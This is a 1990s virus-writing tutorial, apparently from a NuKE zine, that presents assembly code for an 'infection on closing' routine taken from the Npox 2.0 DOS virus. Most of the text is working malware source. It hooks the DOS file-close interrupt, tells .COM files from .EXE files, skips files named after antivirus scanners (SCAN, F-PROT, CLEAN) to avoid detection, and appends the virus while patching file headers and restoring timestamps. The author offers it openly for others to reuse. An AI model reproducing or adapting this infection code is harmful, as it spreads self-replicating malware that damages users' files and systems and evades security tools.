Infection on Closing
By: Rock Steady / NuKE


This routine goes out for a few people that had trouble hacking this routine themselves... I kinda like it, its my very OWN, no Dark Avenger hack, it is VERY straight forward, and kinda simple...I was not going to put this here, but since I `Promised' people and left them hanging with `Wait for IJ#5, I guess I owed you it... huh?'

Again this code comes right out of Npox 2.0, its need, simple fast, cool, and it works, Npox is your example, I heard MANY MANY complaints with other `Virus writing guides' Meaning they explained the code but sometimes the arthur himself never check if the code was good, as he may have modified it, and not test it... or whatever reason... Anyhow

Okay once you intercepted the Int21h/ah=3Dh function you make it jump here...

                                                                              
closing_file:   cmp     bx,0h                   ;Handle=0?                    
                je      closing_bye             ;if equal leave               
                cmp     bx,4h                   ;Handle < 4                   
                ja      close_cont              ;if YES ,then JUMP!           
closing_bye:    jmp     dword ptr cs:[int21]    ;Leave, no interest to us     

The whole point of the above code is that DOS contains 5 predefined Handlers, 0 -< 4, Basically, those handles are the NULL, CON, AUX COMx, LPTx handles... So we surely do not need to continue once we encounter that...

                                                                              
close_cont:     push    ax                                                    
                push    bx                                                    
                push    cx                                                    
                push    dx                                                    
                push    di                                                    
                push    ds                                                    
                push    es                                                    
                push    bp                                                    

Our biggest problem is how do we know if this file is a .COM or .EXE or simply just another dumb data file? We need this info before we can try to infect it... We do this by getting DOS's "Lists of List" this will give us all INFO need on the File Handle Number we have in BX! and we do that like so...

                                                                              
                push    bx                      ;Save File Handle             
                mov     ax,1220h                ;Get the Job File Table       
                int     2fh                     ;(JFT)                        

This will give us the JFT for the CURRENT File handle in BX, which is given thru ES:DI Then we use this information to get the Address of the System File Table!

                                                                              
                mov     ax,1216h        ;Get System File Table (List)         
                mov     bl,es:[di]      ;system file table entry number       
                int     2fh                                                   
                pop     bx              ;restore the Handle                   
                                                                              
                add     di,0011h                                              
                mov     byte ptr es:[di-0fh],02h                              
                                                                              
                add     di,0017h                ;Jump to the ASCIIZ string    
                cmp     word ptr es:[di],'OC'   ;Is it a .COM file?           
                jne     closing_next_try        ;Next cmp...                  
                cmp     byte ptr es:[di+2h],'M'                               
                jne     pre_exit                ;Nope exit                    
                jmp     closing_cunt3           ;.COM file continue           
                                                                              
closing_next_try:                                                             
                cmp     word ptr es:[di],'XE'   ;Is it a .EXE file?           
                jne     pre_exit                ;No, exit                     
                cmp     byte ptr es:[di+2h],'E'                               
                jne     pre_exit                ;No, exit                     

If it is an .EXE file, check if it is F-PROT or SCAN, see F-PROT when started up, Opens itself, closes itself, etc... So that a dumb virus will infect it, and then the CRC value changes and F-PROT screams... haha... Fuck-Prot! is the name...

                                                                              
closing_cunt:   cmp     word ptr es:[di-8],'CS'                               
                jnz     closing_cunt1              ;SCAN                      
                cmp     word ptr es:[di-6],'NA'                               
                jz      pre_exit                                              
                                                                              
closing_cunt1:  cmp     word ptr es:[di-8],'-F'                               
                jnz     closing_cunt2              ;F-PROT                    
                cmp     word ptr es:[di-6],'RP'                               
                jz      pre_exit                                              
                                                                              
closing_cunt2:  cmp     word ptr es:[di-8],'LC'                               
                jnz     closing_cunt3                                         
                cmp     word ptr es:[di-6],'AE'    ;CLEAN                     
                jnz     closing_cunt3                                         
                                                                              
pre_exit:       jmp     closing_nogood                                        

The REST is pretty much the EXACT same on `how' you'd infect a normal file, I'll leave it for you to go thru it... The hardest part is OVER! Only trick part is, the ending... Remember to Close the file and then do an IRET, you don't leave control to dos, as you only needed to close it, so do it... OR DON'T close it and return to DOS, as dos will close it, just DON'T CLOSE IT TWICE!!!!

                                                                              
closing_cunt3:  mov     ax,5700h                        ;Get file Time        
                call    calldos21                                             
                mov     al,cl                                                 
                or      cl,1fh                                                
                dec     cx                              ;60 Seconds           
                xor     al,cl                                                 
                jz      closing_nogood                  ;Already infected     
                                                                              
                push    cs                                                    
                pop     ds                                                    
                mov     word ptr ds:[old_time],cx       ;Save time            
                mov     word ptr ds:[old_date],dx                             
                                                                              
                mov     ax,4200h                        ;jmp beginning of     
                xor     cx,cx                           ;file...              
                xor     dx,dx                                                 
                call    calldos21                                             
                                                                              
                mov     ah,3fh                          ;Get first 1b byte    
                mov     cx,1Bh                                                
                mov     dx,offset buffer                                      
                call    calldos21                                             
                                                                              
                jc      closing_no_good                 ;error?               
                mov     ax,4202h                        ;Jmp to the EOF       
                xor     cx,cx                                                 
                xor     dx,dx                                                 
                call    calldos21                                             
                                                                              
                jc      closing_no_good                                       
                cmp     word ptr ds:[buffer],5A4Dh      ;.EXE file?           
                je      closing_exe                     ;Yupe then jmp        
                mov     cx,ax                                                 
                sub     cx,3h                                                 
                mov     word ptr ds:[jump_address+1],cx  ;Figure out the      
                call    infect_me                        ;jmp for .com        
                                                                              
                jc      closing_no_good                                       
                mov     ah,40h                          ;Write it to file     
                mov     dx,offset jump_address                                
                mov     cx,3h                                                 
                call    calldos21                                             
closing_no_good:                                                              
                mov     cx,word ptr ds:[old_time]       ;Save file time       
                mov     dx,word ptr ds:[old_date]       ;& date               
                mov     ax,5701h                                              
                call    calldos21                                             
                                                                              
closing_nogood: pop     bp                                                    
                pop     es                                                    
                pop     ds                                                    
                pop     di                                                    
                pop     dx                                                    
                pop     cx                                                    
                pop     bx                                                    
                pop     ax                                                    
                jmp     dword ptr cs:[int21]                                  

AS you see the above, we DIDN'T close the file, so we leave dos to do it. The bottom is for infecting .exes...

                                                                              
closing_exe:    mov     cx,word ptr cs:[buffer+20]      ;Save the original    
                mov     word ptr cs:[exe_ip],cx         ;CS:IP & SS:SP        
                mov     cx,word ptr cs:[buffer+22]                            
                mov     word ptr cs:[exe_cs],cx                               
                mov     cx,word ptr cs:[buffer+16]                            
                mov     word ptr cs:[exe_sp],cx                               
                mov     cx,word ptr cs:[buffer+14]                            
                mov     word ptr cs:[exe_ss],cx                               
                                                                              
                push    ax                                                    
                push    dx                                                    
                call    multiply                                              
                sub     dx,word ptr cs:[buffer+8]                             
                mov     word ptr cs:[vir_cs],dx                               
                push    ax                                                    
                push    dx                                                    
                call    infect_me                                             
                pop     dx                                                    
                pop     ax                                                    
                mov     word ptr cs:[buffer+22],dx                            
                mov     word ptr cs:[buffer+20],ax                            
                pop     dx                                                    
                pop     ax                                                    
                jc      closing_no_good                                       
                                                                              
                add     ax,virus_size                                         
                adc     dx,0                                                  
                                                                              
                push    ax                                                    
                push    dx                                                    
                call    multiply                                              
                sub     dx,word ptr cs:[buffer+8]                             
                add     ax,40h                                                
                mov     word ptr cs:[buffer+14],dx                            
                mov     word ptr cs:[buffer+16],ax                            
                pop     dx                                                    
                pop     ax                                                    
                                                                              
                push    bx                                                    
                push    cx                                                    
                mov     cl,7                                                  
                shl     dx,cl                                                 
                                                                              
                mov     bx,ax                                                 
                mov     cl,9                                                  
                shr     bx,cl                                                 
                                                                              
                add     dx,bx                                                 
                and     ax,1FFh                                               
                jz      close_split                                           
                inc     dx                                                    
close_split:    pop     cx                                                    
                pop     bx                                                    
                                                                              
                mov     word ptr cs:[buffer+2],ax                             
                mov     word ptr cs:[buffer+4],dx                             
                                                                              
                mov     ah,40h                                                
                mov     dx,offset ds:[buffer]                                 
                mov     cx,20h                                                
                call    calldos21                                             
                                                                              
closing_over:   jmp     closing_no_good                                       
                                                                              
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-    
;                   Infection Routine...                                      
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-    
infect_me       proc                                                          
                mov     ah,40h                                                
                mov     dx,offset init_virus                                  
                mov     cx,virus_size                                         
                call    calldos21                                             
                                                                              
                jc      exit_error                      ;Error Split          
                mov     ax,4200h                                              
                xor     cx,cx                           ;Pointer back to      
                xor     dx,dx                           ;Top of file!         
                call    calldos21                                             
                                                                              
                jc      exit_error                      ;Split Dude...        
                clc                                     ;Clear carry flag     
                ret                                                           
exit_error:                                                                   
                stc                                     ;Set carry flag       
                ret                                                           
infect_me       endp                                                          

Desperation/MOB